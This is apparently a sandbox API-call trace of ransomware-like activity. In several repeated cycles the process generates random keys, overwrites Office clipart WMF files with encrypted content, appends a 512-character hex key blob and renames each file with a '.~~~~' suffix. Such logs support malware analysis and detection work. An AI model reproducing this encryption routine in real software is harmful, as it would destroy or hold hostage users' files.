	[0109.159] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00394_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00394_.wmf.~~~~")) returned 1
	[0109.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5728 | out: hHeap=0x300000) returned 1
	[0109.162] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0109.162] GetLastError () returned 0x0
	[0109.162] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0109.163] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.164] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0109.164] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22915390390) returned 1
	[0109.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaab9f650, dwHighDateTime=0x1d60e1e)) 
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28088a8
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28088a8 | out: hHeap=0x300000) returned 1
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5728
	[0109.164] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.164] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282a7c0
	[0109.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5728 | out: hHeap=0x300000) returned 1
	[0109.165] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0109.165] GetLastError () returned 0x0
	[0109.165] GetLastError () returned 0x0
	[0109.165] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0109.165] GetLastError () returned 0x0
	[0109.165] GetLastError () returned 0x0
	[0109.191] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb094, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.191] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4f6c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0x4f6c, lpOverlapped=0x0) returned 1
	[0109.193] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.193] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.194] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.194] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.194] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.194] CloseHandle (hObject=0x144) returned 1
	[0109.194] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5728
	[0109.195] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf.~~~~")) returned 1
	[0109.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5728 | out: hHeap=0x300000) returned 1
	[0109.196] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0109.196] GetLastError () returned 0x0
	[0109.438] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0109.439] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0109.439] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.439] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22942912161) returned 1
	[0109.439] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaae00c50, dwHighDateTime=0x1d60e1e)) 
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808a30
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.439] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808a30 | out: hHeap=0x300000) returned 1
	[0109.439] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0109.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867058
	[0109.440] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0109.440] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0109.440] GetLastError () returned 0x0
	[0109.440] GetLastError () returned 0x0
	[0109.440] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0109.440] GetLastError () returned 0x0
	[0109.440] GetLastError () returned 0x0
	[0109.511] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff3f0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.511] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x1f8fec0*=0xc10, lpOverlapped=0x0) returned 1
	[0109.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0109.515] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.515] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.516] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.516] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.516] CloseHandle (hObject=0x140) returned 1
	[0109.545] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0109.566] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf.~~~~")) returned 1
	[0109.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0109.568] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0109.568] GetLastError () returned 0x0
	[0109.569] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0109.570] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0109.570] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0109.570] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0109.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0109.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0109.570] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22956030894) returned 1
	[0109.570] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xaaf578b0, dwHighDateTime=0x1d60e1e)) 
	[0109.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0109.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0109.570] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0109.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808ad8
	[0109.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0109.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808ad8 | out: hHeap=0x300000) returned 1
	[0109.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0109.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0109.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0109.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0109.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282aff0
	[0109.571] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0109.571] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0109.580] GetLastError () returned 0x0
	[0109.580] GetLastError () returned 0x0
	[0109.580] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0109.580] GetLastError () returned 0x0
	[0109.580] GetLastError () returned 0x0
	[0109.584] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffdc08, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.585] WriteFile (in: hFile=0x140, lpBuffer=0x29a8088*, nNumberOfBytesToWrite=0x23f8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29a8088*, lpNumberOfBytesWritten=0x1f8fec0*=0x23f8, lpOverlapped=0x0) returned 1
	[0109.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29a8088 | out: hHeap=0x300000) returned 1
	[0109.591] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.592] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0109.592] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0109.592] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0109.592] CloseHandle (hObject=0x140) returned 1
	[0109.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0109.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00798_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00798_.wmf.~~~~")) returned 1
	[0110.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.197] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.197] GetLastError () returned 0x0
	[0110.198] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0110.199] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.199] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.199] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.199] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.199] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23018947638) returned 1
	[0110.255] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab54afb0, dwHighDateTime=0x1d60e1e)) 
	[0110.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.255] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808bb8
	[0110.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808bb8 | out: hHeap=0x300000) returned 1
	[0110.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b250
	[0110.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.256] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.256] GetLastError () returned 0x0
	[0110.257] GetLastError () returned 0x0
	[0110.257] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.257] GetLastError () returned 0x0
	[0110.257] GetLastError () returned 0x0
	[0110.262] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff9f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.262] WriteFile (in: hFile=0x140, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x608, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x608, lpOverlapped=0x0) returned 1
	[0110.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0110.263] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.264] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0110.264] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0110.264] CloseHandle (hObject=0x140) returned 1
	[0110.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a5f08
	[0110.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00809_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00809_.wmf.~~~~")) returned 1
	[0110.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0110.266] GetLastError () returned 0x0
	[0110.267] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942208) returned 1
	[0110.268] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0110.268] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0110.268] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0110.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0110.268] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0110.268] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23025863279) returned 1
	[0110.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xab54afb0, dwHighDateTime=0x1d60e1e)) 
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808bf0
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0110.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808bf0 | out: hHeap=0x300000) returned 1
	[0110.269] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0110.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0110.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0110.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0110.360] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282b8d8
	[0110.360] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0110.360] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0110.361] GetLastError () returned 0x0
	[0110.361] GetLastError () returned 0x0
	[0110.361] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0110.361] GetLastError () returned 0x0
	[0110.361] GetLastError () returned 0x0
	[0110.394] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff2a8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0110.394] WriteFile (in: hFile=0x140, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0xd58, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x1f8fec0*=0xd58, lpOverlapped=0x0) returned 1
	[0110.395] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0110.395] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0110.395] WriteFile (in: hFile=0x140, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0110.396] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
